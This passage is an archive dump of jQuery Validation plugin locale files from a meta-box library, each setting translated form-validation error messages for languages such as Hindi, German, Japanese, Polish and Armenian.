	max: $.validator.format( "Sy&ouml;t&auml; arvo, joka on enint&auml;&auml;n {0}." ),
	min: $.validator.format( "Sy&ouml;t&auml; arvo, joka on v&auml;hint&auml;&auml;n {0}." )
} );
return $;
}));PK     0w\qO    8  dashboard/lib/meta-box/js/validation/i18n/messages_hi.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: Hindi; हिंदी
 */
$.extend( $.validator.messages, {
	required: "आवश्यक फ़ील्ड।",
	remote:"इस फ़ील्ड को जांचें।",
	email: "एक वैध ई - मेल पते की प्रविष्टि करें।",
	url: "कृपया एक वैध वेब पता दर्ज करें।",
	date: "कृपया कोई मान्य दिनांक दर्ज करें।",
	dateISO: "कृपया एक मान्य दिनांक (ISO) दर्ज करें।",
	number: "कृपया सही अंक दर्ज करें।",
	digits: "केवल संख्याएं दर्ज करें।",
	creditcard: "कृपया एक वैध क्रेडिट कार्ड नंबर डालें।",
	equalTo: "मेल नहीं खाता।",
	extension: "कृपया एक मान्य एक्सटेंशन वाला मान दर्ज करें।",
	maxlength: $.validator.format( "अधिक दर्ज न करें {0} वर्णों में से" ),
	minlength: $.validator.format( "कृपया कम से कम {0} वर्ण दर्ज करें।" ),
	rangelength: $.validator.format( "कृपया {0} और {1} वर्णों के बीच एक मान दर्ज करें।" ),
	range: $.validator.format( "कृपया {0} और {1} के बीच एक मान दर्ज करें।" ),
	max: $.validator.format( "कृपया {0} से कम या उसके बराबर मान दर्ज करें।" ),
	min: $.validator.format( "कृपया {0} से अधिक या उसके बराबर मान दर्ज करें।" ),
	nieES: "कृपया एक मान्य NIE दर्ज करें।",
	cifES: "कृपया एक मान्य CIF दर्ज करें.",
	currency: "कृपया एक मान्य मुद्रा दर्ज करें।.",
	step: $.validator.format( "{0} का गुणज होना चाहिए।" ),
	abaRoutingNumber:"कृपया एक मान्य रूटिंग नंबर दर्ज करें।",
	accept:"कृपया एक मान्य माइमटाइप वाला मान दर्ज करें।",
	alphanumeric:"कृपया, केवल अक्षर, संख्याएं और अंडरस्कोर।",
	bankaccountNL:"कृपया एक वैध बैंक खाता संख्या निर्दिष्ट करें।",
	bankorgiroaccountNL:"कृपया एक वैध बैंक या जीरो खाता संख्या निर्दिष्ट करें।",
	bic:"कृपया कोई मान्य BIC कोड निर्दिष्ट करें।",
	ziprange:"आपका ज़िप कोड 902xx-xxxx से 905xx-xxxx की सीमा में होना चाहिए।",
	zipcodeUS:"निर्दिष्ट यूएस ज़िप कोड अमान्य है।",
	vinUS:"निर्दिष्ट वाहन पहचान संख्या (VIN) अमान्य है।",
	time12h:"कृपया 12 घंटे पूर्वाह्न/अपराह्न प्रारूप में मान्य समय दर्ज करें।",
	time:"कृपया 00:00 और 23:59 के बीच एक वैध समय दर्ज करें।",
	strippedminlength:"कृपया कम से कम {0} वर्ण दर्ज करें।",
	stateUS:"कृपया एक वैध प्रदेश निर्दिष्ट करें।",
	skip_or_fill_minimum:"कृपया या तो इन फ़ील्ड को छोड़ दें या उनमें से कम से कम {0} भरें।",
	require_from_group:"कृपया इनमें से कम से कम {0} को भरें।"
} );
return $;
}));PK     0w\    8  dashboard/lib/meta-box/js/validation/i18n/messages_si.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SI (Slovenian)
 */
$.extend( $.validator.messages, {
	required: "To polje je obvezno.",
	remote: "Vpis v tem polju ni v pravi obliki.",
	email: "Prosimo, vnesite pravi email naslov.",
	url: "Prosimo, vnesite pravi URL.",
	date: "Prosimo, vnesite pravi datum.",
	dateISO: "Prosimo, vnesite pravi datum (ISO).",
	number: "Prosimo, vnesite pravo številko.",
	digits: "Prosimo, vnesite samo številke.",
	creditcard: "Prosimo, vnesite pravo številko kreditne kartice.",
	equalTo: "Prosimo, ponovno vnesite enako vsebino.",
	extension: "Prosimo, vnesite vsebino z pravo končnico.",
	maxlength: $.validator.format( "Prosimo, da ne vnašate več kot {0} znakov." ),
	minlength: $.validator.format( "Prosimo, vnesite vsaj {0} znakov." ),
	rangelength: $.validator.format( "Prosimo, vnesite od {0} do {1} znakov." ),
	range: $.validator.format( "Prosimo, vnesite vrednost med {0} in {1}." ),
	max: $.validator.format( "Prosimo, vnesite vrednost manjšo ali enako {0}." ),
	min: $.validator.format( "Prosimo, vnesite vrednost večjo ali enako {0}." )
} );
return $;
}));PK     0w\֒S    8  dashboard/lib/meta-box/js/validation/i18n/messages_vi.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: VI (Vietnamese; Tiếng Việt)
 */
$.extend( $.validator.messages, {
	required: "Hãy nhập.",
	remote: "Hãy sửa cho đúng.",
	email: "Hãy nhập email.",
	url: "Hãy nhập URL.",
	date: "Hãy nhập ngày.",
	dateISO: "Hãy nhập ngày (ISO).",
	number: "Hãy nhập số.",
	digits: "Hãy nhập chữ số.",
	creditcard: "Hãy nhập số thẻ tín dụng.",
	equalTo: "Hãy nhập thêm lần nữa.",
	extension: "Phần mở rộng không đúng.",
	maxlength: $.validator.format( "Hãy nhập từ {0} kí tự trở xuống." ),
	minlength: $.validator.format( "Hãy nhập từ {0} kí tự trở lên." ),
	rangelength: $.validator.format( "Hãy nhập từ {0} đến {1} kí tự." ),
	range: $.validator.format( "Hãy nhập từ {0} đến {1}." ),
	max: $.validator.format( "Hãy nhập từ {0} trở xuống." ),
	min: $.validator.format( "Hãy nhập từ {0} trở lên." )
} );
return $;
}));PK     0w\V5  5  8  dashboard/lib/meta-box/js/validation/i18n/messages_de.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: DE (German, Deutsch)
 */
$.extend( $.validator.messages, {
	required: "Dieses Feld ist ein Pflichtfeld.",
	maxlength: $.validator.format( "Geben Sie bitte maximal {0} Zeichen ein." ),
	minlength: $.validator.format( "Geben Sie bitte mindestens {0} Zeichen ein." ),
	rangelength: $.validator.format( "Geben Sie bitte mindestens {0} und maximal {1} Zeichen ein." ),
	email: "Geben Sie bitte eine gültige E-Mail-Adresse ein.",
	url: "Geben Sie bitte eine gültige URL ein.",
	date: "Geben Sie bitte ein gültiges Datum ein.",
	number: "Geben Sie bitte eine Nummer ein.",
	digits: "Geben Sie bitte nur Ziffern ein.",
	equalTo: "Wiederholen Sie bitte denselben Wert.",
	range: $.validator.format( "Geben Sie bitte einen Wert zwischen {0} und {1} ein." ),
	max: $.validator.format( "Geben Sie bitte einen Wert kleiner oder gleich {0} ein." ),
	min: $.validator.format( "Geben Sie bitte einen Wert größer oder gleich {0} ein." ),
	creditcard: "Geben Sie bitte eine gültige Kreditkarten-Nummer ein.",
	remote: "Korrigieren Sie bitte dieses Feld.",
	dateISO: "Geben Sie bitte ein gültiges Datum ein (ISO-Format).",
	step: $.validator.format( "Geben Sie bitte ein Vielfaches von {0} ein." ),
	maxWords: $.validator.format( "Geben Sie bitte {0} Wörter oder weniger ein." ),
	minWords: $.validator.format( "Geben Sie bitte mindestens {0} Wörter ein." ),
	rangeWords: $.validator.format( "Geben Sie bitte zwischen {0} und {1} Wörtern ein." ),
	accept: "Geben Sie bitte einen Wert mit einem gültigen MIME-Typ ein.",
	alphanumeric: "Geben Sie bitte nur Buchstaben (keine Umlaute), Zahlen oder Unterstriche ein.",
	bankaccountNL: "Geben Sie bitte eine gültige Kontonummer ein.",
	bankorgiroaccountNL: "Geben Sie bitte eine gültige Bank- oder Girokontonummer ein.",
	bic: "Geben Sie bitte einen gültigen BIC-Code ein.",
	cifES: "Geben Sie bitte eine gültige CIF-Nummer ein.",
	cpfBR: "Geben Sie bitte eine gültige CPF-Nummer ein.",
	creditcardtypes: "Geben Sie bitte eine gültige Kreditkarten-Nummer ein.",
	currency: "Geben Sie bitte eine gültige Währung ein.",
	extension: "Geben Sie bitte einen Wert mit einer gültigen Erweiterung ein.",
	giroaccountNL: "Geben Sie bitte eine gültige Girokontonummer ein.",
	iban: "Geben Sie bitte eine gültige IBAN ein.",
	integer:  "Geben Sie bitte eine positive oder negative Nicht-Dezimalzahl ein.",
	ipv4: "Geben Sie bitte eine gültige IPv4-Adresse ein.",
	ipv6: "Geben Sie bitte eine gültige IPv6-Adresse ein.",
	lettersonly: "Geben Sie bitte nur Buchstaben ein.",
	letterswithbasicpunc: "Geben Sie bitte nur Buchstaben oder Interpunktion ein.",
	mobileNL: "Geben Sie bitte eine gültige Handynummer ein.",
	mobileUK: "Geben Sie bitte eine gültige Handynummer ein.",
	netmask:  "Geben Sie bitte eine gültige Netzmaske ein.",
	nieES: "Geben Sie bitte eine gültige NIE-Nummer ein.",
	nifES: "Geben Sie bitte eine gültige NIF-Nummer ein.",
	nipPL: "Geben Sie bitte eine gültige NIP-Nummer ein.",
	notEqualTo: "Geben Sie bitte einen anderen Wert ein. Die Werte dürfen nicht gleich sein.",
	nowhitespace: "Kein Leerzeichen bitte.",
	pattern: "Ungültiges Format.",
	phoneNL: "Geben Sie bitte eine gültige Telefonnummer ein.",
	phonesUK: "Geben Sie bitte eine gültige britische Telefonnummer ein.",
	phoneUK: "Geben Sie bitte eine gültige Telefonnummer ein.",
	phoneUS: "Geben Sie bitte eine gültige Telefonnummer ein.",
	postalcodeBR: "Geben Sie bitte eine gültige brasilianische Postleitzahl ein.",
	postalCodeCA: "Geben Sie bitte eine gültige kanadische Postleitzahl ein.",
	postalcodeIT: "Geben Sie bitte eine gültige italienische Postleitzahl ein.",
	postalcodeNL: "Geben Sie bitte eine gültige niederländische Postleitzahl ein.",
	postcodeUK: "Geben Sie bitte eine gültige britische Postleitzahl ein.",
	require_from_group: $.validator.format( "Füllen Sie bitte mindestens {0} dieser Felder aus." ),
	skip_or_fill_minimum: $.validator.format( "Überspringen Sie bitte diese Felder oder füllen Sie mindestens {0} von ihnen aus." ),
	stateUS: "Geben Sie bitte einen gültigen US-Bundesstaat ein.",
	strippedminlength: $.validator.format( "Geben Sie bitte mindestens {0} Zeichen ein." ),
	time: "Geben Sie bitte eine gültige Uhrzeit zwischen 00:00 und 23:59 ein.",
	time12h: "Geben Sie bitte eine gültige Uhrzeit im 12-Stunden-Format ein.",
	vinUS: "Die angegebene Fahrzeugidentifikationsnummer (VIN) ist ungültig.",
	zipcodeUS: "Die angegebene US-Postleitzahl ist ungültig.",
	ziprange: "Ihre Postleitzahl muss im Bereich 902xx-xxxx bis 905xx-xxxx liegen."
} );
return $;
}));PK     0w\[B]  ]  ;  dashboard/lib/meta-box/js/validation/i18n/messages_pt_PT.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: PT (Portuguese; português)
 * Region: PT (Portugal)
 */
$.extend( $.validator.messages, {
	required: "Campo de preenchimento obrigat&oacute;rio.",
	remote: "Por favor, corrija este campo.",
	email: "Por favor, introduza um endere&ccedil;o eletr&oacute;nico v&aacute;lido.",
	url: "Por favor, introduza um URL v&aacute;lido.",
	date: "Por favor, introduza uma data v&aacute;lida.",
	dateISO: "Por favor, introduza uma data v&aacute;lida (ISO).",
	number: "Por favor, introduza um n&uacute;mero v&aacute;lido.",
	digits: "Por favor, introduza apenas d&iacute;gitos.",
	creditcard: "Por favor, introduza um n&uacute;mero de cart&atilde;o de cr&eacute;dito v&aacute;lido.",
	equalTo: "Por favor, introduza de novo o mesmo valor.",
	extension: "Por favor, introduza um ficheiro com uma extens&atilde;o v&aacute;lida.",
	maxlength: $.validator.format( "Por favor, n&atilde;o introduza mais do que {0} caracteres." ),
	minlength: $.validator.format( "Por favor, introduza pelo menos {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, introduza entre {0} e {1} caracteres." ),
	range: $.validator.format( "Por favor, introduza um valor entre {0} e {1}." ),
	max: $.validator.format( "Por favor, introduza um valor menor ou igual a {0}." ),
	min: $.validator.format( "Por favor, introduza um valor maior ou igual a {0}." ),
	nifES: "Por favor, introduza um NIF v&aacute;lido.",
	nieES: "Por favor, introduza um NIE v&aacute;lido.",
	cifES: "Por favor, introduza um CIF v&aacute;lido."
} );
return $;
}));PK     0w\(    8  dashboard/lib/meta-box/js/validation/i18n/messages_no.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: NO (Norwegian; Norsk)
 */
$.extend( $.validator.messages, {
	required: "Angi en verdi.",
	remote: "Ugyldig verdi.",
	email: "Angi en gyldig epostadresse.",
	url: "Angi en gyldig URL.",
	date: "Angi en gyldig dato.",
	dateISO: "Angi en gyldig dato (&ARING;&ARING;&ARING;&ARING;-MM-DD).",
	number: "Angi et gyldig tall.",
	digits: "Skriv kun tall.",
	equalTo: "Skriv samme verdi igjen.",
	maxlength: $.validator.format( "Maksimalt {0} tegn." ),
	minlength: $.validator.format( "Minimum {0} tegn." ),
	rangelength: $.validator.format( "Angi minimum {0} og maksimum {1} tegn." ),
	range: $.validator.format( "Angi en verdi mellom {0} og {1}." ),
	max: $.validator.format( "Angi en verdi som er mindre eller lik {0}." ),
	min: $.validator.format( "Angi en verdi som er st&oslash;rre eller lik {0}." ),
	step: $.validator.format( "Angi en verdi ganger {0}." ),
	creditcard: "Angi et gyldig kredittkortnummer."
} );
return $;
}));PK     0w\Og    8  dashboard/lib/meta-box/js/validation/i18n/messages_eu.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: EU (Basque; euskara, euskera)
 */
$.extend( $.validator.messages, {
	required: "Eremu hau beharrezkoa da.",
	remote: "Mesedez, bete eremu hau.",
	email: "Mesedez, idatzi baliozko posta helbide bat.",
	url: "Mesedez, idatzi baliozko URL bat.",
	date: "Mesedez, idatzi baliozko data bat.",
	dateISO: "Mesedez, idatzi baliozko (ISO) data bat.",
	number: "Mesedez, idatzi baliozko zenbaki oso bat.",
	digits: "Mesedez, idatzi digituak soilik.",
	creditcard: "Mesedez, idatzi baliozko txartel zenbaki bat.",
	equalTo: "Mesedez, idatzi berdina berriro ere.",
	extension: "Mesedez, idatzi onartutako luzapena duen balio bat.",
	maxlength: $.validator.format( "Mesedez, ez idatzi {0} karaktere baino gehiago." ),
	minlength: $.validator.format( "Mesedez, ez idatzi {0} karaktere baino gutxiago." ),
	rangelength: $.validator.format( "Mesedez, idatzi {0} eta {1} karaktere arteko balio bat." ),
	range: $.validator.format( "Mesedez, idatzi {0} eta {1} arteko balio bat." ),
	max: $.validator.format( "Mesedez, idatzi {0} edo txikiagoa den balio bat." ),
	min: $.validator.format( "Mesedez, idatzi {0} edo handiagoa den balio bat." )
} );
return $;
}));PK     0w\ ׇ    8  dashboard/lib/meta-box/js/validation/i18n/messages_el.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: EL (Greek; ελληνικά)
 */
$.extend( $.validator.messages, {
	required: "Αυτό το πεδίο είναι υποχρεωτικό.",
	remote: "Παρακαλώ διορθώστε αυτό το πεδίο.",
	email: "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email.",
	url: "Παρακαλώ εισάγετε ένα έγκυρο URL.",
	date: "Παρακαλώ εισάγετε μια έγκυρη ημερομηνία.",
	dateISO: "Παρακαλώ εισάγετε μια έγκυρη ημερομηνία (ISO).",
	number: "Παρακαλώ εισάγετε έναν έγκυρο αριθμό.",
	digits: "Παρακαλώ εισάγετε μόνο αριθμητικά ψηφία.",
	creditcard: "Παρακαλώ εισάγετε έναν έγκυρο αριθμό πιστωτικής κάρτας.",
	equalTo: "Παρακαλώ εισάγετε την ίδια τιμή ξανά.",
	extension: "Παρακαλώ εισάγετε μια τιμή με έγκυρη επέκταση αρχείου.",
	maxlength: $.validator.format( "Παρακαλώ εισάγετε μέχρι και {0} χαρακτήρες." ),
	minlength: $.validator.format( "Παρακαλώ εισάγετε τουλάχιστον {0} χαρακτήρες." ),
	rangelength: $.validator.format( "Παρακαλώ εισάγετε μια τιμή με μήκος μεταξύ {0} και {1} χαρακτήρων." ),
	range: $.validator.format( "Παρακαλώ εισάγετε μια τιμή μεταξύ {0} και {1}." ),
	max: $.validator.format( "Παρακαλώ εισάγετε μια τιμή μικρότερη ή ίση του {0}." ),
	min: $.validator.format( "Παρακαλώ εισάγετε μια τιμή μεγαλύτερη ή ίση του {0}." )
} );
return $;
}));PK     0w\    8  dashboard/lib/meta-box/js/validation/i18n/messages_tj.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: TJ (Tajikistan; Забони тоҷикӣ)
 */
$.extend( $.validator.messages, {
	required: "Ворид кардани ин филд маҷбури аст.",
	remote: "Илтимос, маълумоти саҳеҳ ворид кунед.",
	email: "Илтимос, почтаи электронии саҳеҳ ворид кунед.",
	url: "Илтимос, URL адреси саҳеҳ ворид кунед.",
	date: "Илтимос, таърихи саҳеҳ ворид кунед.",
	dateISO: "Илтимос, таърихи саҳеҳи (ISO)ӣ ворид кунед.",
	number: "Илтимос, рақамҳои саҳеҳ ворид кунед.",
	digits: "Илтимос, танҳо рақам ворид кунед.",
	creditcard: "Илтимос, кредит карди саҳеҳ ворид кунед.",
	equalTo: "Илтимос, миқдори баробар ворид кунед.",
	extension: "Илтимос, қофияи файлро дуруст интихоб кунед.",
	maxlength: $.validator.format( "Илтимос, бештар аз {0} рамз ворид накунед." ),
	minlength: $.validator.format( "Илтимос, камтар аз {0} рамз ворид накунед." ),
	rangelength: $.validator.format( "Илтимос, камтар аз {0} ва зиёда аз {1} рамз ворид кунед." ),
	range: $.validator.format( "Илтимос, аз {0} то {1} рақам зиёд ворид кунед." ),
	max: $.validator.format( "Илтимос, бештар аз {0} рақам ворид накунед." ),
	min: $.validator.format( "Илтимос, камтар аз {0} рақам ворид накунед." )
} );
return $;
}));PK     0w\*&    8  dashboard/lib/meta-box/js/validation/i18n/messages_ja.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: JA (Japanese; 日本語)
 */
$.extend( $.validator.messages, {
	required: "このフィールドは必須です。",
	remote: "このフィールドを修正してください。",
	email: "有効なEメールアドレスを入力してください。",
	url: "有効なURLを入力してください。",
	date: "有効な日付を入力してください。",
	dateISO: "有効な日付（ISO）を入力してください。",
	number: "有効な数字を入力してください。",
	digits: "数字のみを入力してください。",
	creditcard: "有効なクレジットカード番号を入力してください。",
	equalTo: "同じ値をもう一度入力してください。",
	extension: "有効な拡張子を含む値を入力してください。",
	maxlength: $.validator.format( "{0} 文字以内で入力してください。" ),
	minlength: $.validator.format( "{0} 文字以上で入力してください。" ),
	rangelength: $.validator.format( "{0} 文字から {1} 文字までの値を入力してください。" ),
	range: $.validator.format( "{0} から {1} までの値を入力してください。" ),
	step: $.validator.format( "{0} の倍数を入力してください。" ),
	max: $.validator.format( "{0} 以下の値を入力してください。" ),
	min: $.validator.format( "{0} 以上の値を入力してください。" )
} );
return $;
}));PK     0w\I#Ĝ    8  dashboard/lib/meta-box/js/validation/i18n/messages_bg.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: BG (Bulgarian; български език)
 */
$.extend( $.validator.messages, {
	required: "Полето е задължително.",
	remote: "Моля, въведете правилната стойност.",
	email: "Моля, въведете валиден email.",
	url: "Моля, въведете валидно URL.",
	date: "Моля, въведете валидна дата.",
	dateISO: "Моля, въведете валидна дата (ISO).",
	number: "Моля, въведете валиден номер.",
	digits: "Моля, въведете само цифри.",
	creditcard: "Моля, въведете валиден номер на кредитна карта.",
	equalTo: "Моля, въведете същата стойност отново.",
	extension: "Моля, въведете стойност с валидно разширение.",
	maxlength: $.validator.format( "Моля, въведете не повече от {0} символа." ),
	minlength: $.validator.format( "Моля, въведете поне {0} символа." ),
	rangelength: $.validator.format( "Моля, въведете стойност с дължина между {0} и {1} символа." ),
	range: $.validator.format( "Моля, въведете стойност между {0} и {1}." ),
	max: $.validator.format( "Моля, въведете стойност по-малка или равна на {0}." ),
	min: $.validator.format( "Моля, въведете стойност по-голяма или равна на {0}." )
} );
return $;
}));PK     0w\q  q  8  dashboard/lib/meta-box/js/validation/i18n/messages_ro.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: RO (Romanian, limba română)
 */
$.extend( $.validator.messages, {
	required: "Acest câmp este obligatoriu.",
	remote: "Te rugăm să completezi acest câmp.",
	email: "Te rugăm să introduci o adresă de email validă.",
	url: "Te rugăm sa introduci o adresă URL validă.",
	date: "Te rugăm să introduci o dată corectă.",
	dateISO: "Te rugăm să introduci o dată (ISO) corectă.",
	number: "Te rugăm să introduci un număr întreg valid.",
	digits: "Te rugăm să introduci doar cifre.",
	creditcard: "Te rugăm să introduci un numar de carte de credit valid.",
	equalTo: "Te rugăm să reintroduci valoarea.",
	extension: "Te rugăm să introduci o valoare cu o extensie validă.",
	maxlength: $.validator.format( "Te rugăm să nu introduci mai mult de {0} caractere." ),
	minlength: $.validator.format( "Te rugăm să introduci cel puțin {0} caractere." ),
	rangelength: $.validator.format( "Te rugăm să introduci o valoare între {0} și {1} caractere." ),
	range: $.validator.format( "Te rugăm să introduci o valoare între {0} și {1}." ),
	max: $.validator.format( "Te rugăm să introduci o valoare egal sau mai mică decât {0}." ),
	min: $.validator.format( "Te rugăm să introduci o valoare egal sau mai mare decât {0}." )
} );
return $;
}));PK     0w\|^
  ^
  8  dashboard/lib/meta-box/js/validation/i18n/messages_ka.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: KA (Georgian; ქართული)
 */
$.extend( $.validator.messages, {
	required: "ამ ველის შევსება აუცილებელია.",
	remote: "გთხოვთ მიუთითოთ სწორი მნიშვნელობა.",
	email: "გთხოვთ მიუთითოთ ელ-ფოსტის კორექტული მისამართი.",
	url: "გთხოვთ მიუთითოთ კორექტული URL.",
	date: "გთხოვთ მიუთითოთ კორექტული თარიღი.",
	dateISO: "გთხოვთ მიუთითოთ კორექტული თარიღი ISO ფორმატში.",
	number: "გთხოვთ მიუთითოთ ციფრი.",
	digits: "გთხოვთ მიუთითოთ მხოლოდ ციფრები.",
	creditcard: "გთხოვთ მიუთითოთ საკრედიტო ბარათის კორექტული ნომერი.",
	equalTo: "გთხოვთ მიუთითოთ ასეთივე მნიშვნელობა კიდევ ერთხელ.",
	extension: "გთხოვთ აირჩიოთ ფაილი კორექტული გაფართოებით.",
	maxlength: $.validator.format( "დასაშვებია არაუმეტეს {0} სიმბოლო." ),
	minlength: $.validator.format( "აუცილებელია შეიყვანოთ მინიმუმ {0} სიმბოლო." ),
	rangelength: $.validator.format( "ტექსტში სიმბოლოების რაოდენობა უნდა იყოს {0}-დან {1}-მდე." ),
	range: $.validator.format( "გთხოვთ შეიყვანოთ ციფრი {0}-დან {1}-მდე." ),
	max: $.validator.format( "გთხოვთ შეიყვანოთ ციფრი რომელიც ნაკლებია ან უდრის {0}-ს." ),
	min: $.validator.format( "გთხოვთ შეიყვანოთ ციფრი რომელიც მეტია ან უდრის {0}-ს." )
} );
return $;
}));PK     0w\#M^E    8  dashboard/lib/meta-box/js/validation/i18n/messages_sl.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Language: SL (Slovenian; slovenski jezik)
 */
$.extend( $.validator.messages, {
	required: "To polje je obvezno.",
	remote: "Prosimo popravite to polje.",
	email: "Prosimo vnesite veljaven email naslov.",
	url: "Prosimo vnesite veljaven URL naslov.",
	date: "Prosimo vnesite veljaven datum.",
	dateISO: "Prosimo vnesite veljaven ISO datum.",
	number: "Prosimo vnesite veljavno število.",
	digits: "Prosimo vnesite samo števila.",
	creditcard: "Prosimo vnesite veljavno številko kreditne kartice.",
	equalTo: "Prosimo ponovno vnesite vrednost.",
	extension: "Prosimo vnesite vrednost z veljavno končnico.",
	maxlength: $.validator.format( "Prosimo vnesite največ {0} znakov." ),
	minlength: $.validator.format( "Prosimo vnesite najmanj {0} znakov." ),
	rangelength: $.validator.format( "Prosimo vnesite najmanj {0} in največ {1} znakov." ),
	range: $.validator.format( "Prosimo vnesite vrednost med {0} in {1}." ),
	max: $.validator.format( "Prosimo vnesite vrednost manjše ali enako {0}." ),
	min: $.validator.format( "Prosimo vnesite vrednost večje ali enako {0}." )
} );
return $;
}));PK     0w\kU    8  dashboard/lib/meta-box/js/validation/i18n/messages_pl.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: PL (Polish; język polski, polszczyzna)
 */
$.extend( $.validator.messages, {
	required: "To pole jest wymagane.",
	remote: "Proszę o wypełnienie tego pola.",
	email: "Proszę o podanie prawidłowego adresu email.",
	url: "Proszę o podanie prawidłowego URL.",
	date: "Proszę o podanie prawidłowej daty.",
	dateISO: "Proszę o podanie prawidłowej daty (ISO).",
	number: "Proszę o podanie prawidłowej liczby.",
	digits: "Proszę o podanie samych cyfr.",
	creditcard: "Proszę o podanie prawidłowej karty kredytowej.",
	equalTo: "Proszę o podanie tej samej wartości ponownie.",
	extension: "Proszę o podanie wartości z prawidłowym rozszerzeniem.",
	nipPL: "Proszę o podanie prawidłowego numeru NIP.",
	phonePL: "Proszę o podanie prawidłowego numeru telefonu.",
	maxlength: $.validator.format( "Proszę o podanie nie więcej niż {0} znaków." ),
	minlength: $.validator.format( "Proszę o podanie przynajmniej {0} znaków." ),
	rangelength: $.validator.format( "Proszę o podanie wartości o długości od {0} do {1} znaków." ),
	range: $.validator.format( "Proszę o podanie wartości z przedziału od {0} do {1}." ),
	max: $.validator.format( "Proszę o podanie wartości mniejszej bądź równej {0}." ),
	min: $.validator.format( "Proszę o podanie wartości większej bądź równej {0}." ),
	pattern: $.validator.format( "Pole zawiera niedozwolone znaki." )
} );
return $;
}));PK     0w\l.    ;  dashboard/lib/meta-box/js/validation/i18n/messages_hy_AM.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: HY_AM (Armenian; հայերեն լեզու)
 */
$.extend( $.validator.messages, {
	required: "Պարտադիր լրացման դաշտ",
	remote: "Ներմուծեք ճիշտ արժեքը",
	email: "Ներմուծեք վավեր էլեկտրոնային փոստի հասցե",
	url: "Ներմուծեք վավեր URL",
	date: "Ներմուծեք վավեր ամսաթիվ",
	dateISO: "Ներմուծեք ISO ֆորմատով վավեր ամսաթիվ։",
